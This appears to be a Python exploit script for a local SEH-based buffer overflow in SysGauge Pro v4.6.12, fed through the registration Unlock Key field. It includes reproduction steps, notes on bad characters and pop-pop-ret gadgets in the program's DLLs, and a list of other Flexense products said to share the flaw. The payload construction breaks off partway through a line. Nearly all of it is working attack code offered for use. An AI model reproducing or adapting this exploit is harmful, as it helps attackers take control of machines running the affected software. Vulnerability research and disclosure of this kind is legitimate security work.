#!/usr/bin/python ################################################################################################################## # Exploit Title : SysGauge Pro v4.6.12 - Local Buffer Overflow (SEH) # # Exploit Author : Hashim Jawad # # Twitter : @ihack4falafel # # Author Website : ihack4falafel[.]com # # Vendor Homepage : http://www.sysgauge.com/ # # Vulnerable Software : http://www.sysgauge.com/setups/sysgaugepro_setup_v4.6.12.exe # # Tested on : Windows XP Professional - SP3 # # Steps to reproduce : ~ Copy content of payload.txt # # ~ Under Register type in "falafel" in Customer Name field # # ~ Paste the content of payload.txt in Unlock Key field and click Register # ################################################################################################################## import struct # ***notes*** # ~ this particular function [Register] of the program only accept characters [00-7f] excluding "\x00\x09\x0a\x0d" # ~ found two application dlls [QtGui4.dll] & [libdgg.dll] that have plenty of [pop, pop, ret] with clean address # ~ the following are Flexense products effected by the same vulnerability (note buffer size and offsets may vary) ################################################################################################################## # ~ SysGauge Ultimate v4.6.12 # ~ Azure DEX Pro v2.2.16 # ~ Azure DEX Ultimate v2.2.16 # ~ DiskBoss Pro v9.1.16 # ~ DiskBoss Ultimate v9.1.16 # ~ SyncBreeze Pro v10.7.14 # ~ SyncBreeze Ultimate v10.7.14 # ~ DiskPulse Pro v10.7.14 # ~ DiskPulse Ultimate v10.7.14 # ~ DiskSavvy Pro v10.7.14 # ~ DiskSavvy Ultimate v10.7.14 # ~ DiskSorter Pro v10.7.14 # ~ DiskSorter Ultimate v10.7.14 # ~ DupScout Pro v10.7.14 # ~ DupScout Ultimate v10.7.14 # ~ VX Search Pro v10.7.14 # ~ VX Search Ultimate v10.7.14 ################################################################################################################## # overwrite SEH with clean address of [pop, pop, ret] buffer = "\x41" * 780 # junk to nSEH buffer += "\x74\x06\x42\x42" # nSEH - jump if zero flag is set (always true) buffer += struct.pack('